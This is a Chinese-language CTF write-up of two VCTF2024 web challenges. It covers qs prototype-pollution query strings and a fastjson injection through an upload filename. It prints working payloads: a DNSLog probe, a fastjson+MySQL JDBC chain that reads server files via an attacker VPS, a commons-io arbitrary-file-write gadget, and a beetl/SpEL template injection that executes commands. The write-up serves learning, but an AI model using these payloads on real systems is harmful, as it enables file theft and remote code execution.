VCTF2024
VCTF2024 –web
前言
web爆零了,纯废物,只会签到
hackjs
大体思路是对的,但具体不知道如何实现
代码很少
检查venom的键长度小于3,venom的welcome为159753,且要进入catch块,并且venom的text为flag
正常情况下是不会异常的,唯一能报异常的地方就是hasOwnProperty
并且express的版本为4.17.2,express@(-∞, 4.17.3)中依赖的qs模块存在数组原型污染漏洞
n8tz/CVE-2022-24999: “qs” prototype poisoning vulnerability ( CVE-2022-24999 ) (github.com)
误区
但是我这里进入异常的方式错了,我的想法是非对象没有hasOwnProperty方法,才会进入catch块
经过本地测试,只有null才行
然后我就理所应当的以为找一个不存在的元素利用它进行原型链污染就行,但实际上Object.keys传入null的话会报错
正解
覆盖hasOwnProperty为任意字符即可抛出异常
venom[text]=flag&venom[welcome]=159753&venom[hasOwnPropert]=1
但是这样的话venom的键的长度为3,不符合条件
这里的话使用__proto__
作为键的话是不会算入长度的
但是这里不能使用json进行传输,用json的话__proto__
还是会算入长度
并且很怪的是__proto__
只能放在第一个才能起作用,放在后面就不行了
venom[__proto__][text]=flag&venom[welcome]=159753&venom[hasOwnProperty]=1
venom[__proto__][welcome]=159753&venom[text]=flag&venom[hasOwnProperty]=1
venom[__proto__][hasOwnProperty]=1&venom[welcome]=159753&venom[text]=flag
真的玄学
Archived elephant
我的简单思路
看的比较晚,给出了些提示
并且结合提示,与ueditor无关,与文件上传也无关
那就只好看依赖了
比较熟悉的是fastjson+commons-io能够写文件 (但我竟然忘记了fastjson+mysql,后面再说
然后fileupload的版本太高,上传的文件不能控制
虽然没思路,继续看代码,看看提示的BaseState
很明显,放入key和value
但是一直找不到JSON.parseObject
,反编译的文件又不能搜索字符串
最后终于找到
我的思路就到这,如何控制参数也没分析出来
正文
ActionEnter#invoke
方法调用了state#toJSONString
,可以看到当ActionMap
为UPLOAD_FILE
(文件上传)操作时会触发 Uploader#doExec
conf中设置isBase64为false
在Uploader#doExec()中就进入else语句
可以看到originFileName
是由上传表单的filename
控制的,值得注意的一点是程序(仅仅)校验了后缀名,这很好绕过。令filename
为filename=flag","vulnerable":"hacked","a":".txt
即可绕过检测。最终把originFileName
放进BaseState
我都不会本地测试(呜呜呜
值得注意的一点是json
的第一个属性"state":"SUCCESS
“是不可控的,可能不太了解fastjson
利用的师傅看到这里就绝望了,因为网上的payload
都是@Type
作为第一个属性开头的呀。其实这里一个小trick
令filename
为flag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt
即可正常恢复Java Bean
。。。。我也不了解fastjson
非预期
如何利用JSON.parseObject呢,看到以来中有fastjson+mysql,版本符合存在漏洞
但不能进行jdbc反序列化,版本好像超了,尝试也没成功
网上经过别人实测,fastjson只能打mysql的5.1.11-5.1.48(反序列化链)、6.0.2/6.0.3(反序列化)、8.0.19(反序列化链)
所以理论和实际都说明了不能打反序列化链
但是可以任意文件读取
看一下打反序列化的payload
{ "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsBeanutils1_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" }
可以看出info中的属性,其实就是一般jdbc连接中携带的参数
我们把他修改为任意文件读取要的参数即可
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"你的vps-ip","portToConnectTo":3308,"databaseToConnectTo":"test","info":{"allowUrlInLocalInfile":"true","allowLoadLocalInfile":"true","allowLoadLocalInfileInPath":"/","maxAllowedPacket":"655360","user":"fileread_file:///","NUM_HOSTS":"1"}}
把这段内容拼接到分析的filename中
预期
预期的话就是我熟悉的fastjson+common-io写文件
大体的话是覆盖btl文件,写入的内容就是beetl模板注入RCE
先给出最后的覆盖内容,然后再说细节
覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl
${@venom.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}
第二次文件写入覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/upload.btl
打RCE
即可。
//写入内容
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}
//使用
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()
开始说明
这是fastjson+common-io写文件的poc
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa" //长度应大于8192
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charset": "UTF-8", //键名为charset或charsetName即可
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
第一点是fastjson
调用构造函数存在随机性,而WriterOutputStream
恰好有一堆很相似的构造函数,所以在构造的时候需要注意WriterOutputStream
构造方法的第二个属性是charset
或charsetName
,如果属性名称错误会报Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public
。
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}
public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}
解决方法在上面的poc的注释中
第二点是该方法(应该)仅支持绝对路径文件写入,MiscCodec
中限制了相对路径写入。不过题目给出docker
所以选手到时候看docker
里的模板路径就可以了。如果难度不够的话绝对路径这部分可以当个考点。
else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException("file relative path not support.");
} else {
return new File(strVal);
}
第三点是写不进去双引号"
,分号;
之类的字符。这部分不是任意文件写这条gadget
的问题,而是因为ueditor
这里的JSON
注入是个http
请求头中的filename
注入,所以写一些奇怪字符会导致http
请求出现一些问题。结合beetl
语法用parameter.a
就能绕过了。后续在访问恶意模板时加个参数?a
即可。
这一点确实不知道,没了解过beetl
beetl模板注入RCE的说明
出题人写了一个白名单类,只允许调用venom.elephantcms
的方法
但这个类中的test方法允许添加
出题人提到callPattern
他故意没写final
修饰。
最后理一下
覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl
${@venom.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}
这是为了beetl模板注入RCE添加白名单
第二次文件写入覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/upload.btl
打RCE
//写入内容
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}
//使用
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()
使用parameter.a就是为了防止http请求出错
不过还有个坑点就是第二步覆盖的模板不能是test.btl
了,可能是缓存的原因导致即便写入第二次的payload
访问模板还是会执行第一次的payload
再提一下,防止有的人对这个poc不了解产生误区
两个写入的内容并不只有提到的一点,fastjson+common-io写入的长度应大于8192,然后才会截取前8192个字符
所以在写入内容的基础上,我们要往后面填充空格使长度满足要求 (反正exp是这样做的
给出官方exp,exp中写文件的poc好像有点不一样,不知道
finally
hackjs还是思路太局限了,elephant的话审计代码确实没什么经验,都不好找漏洞点
想审计一下cms了,不管是php的还是java的都想看看,一点经验都没有
想着根据每个cms的RCE开始分析,但不知道啥时候会开始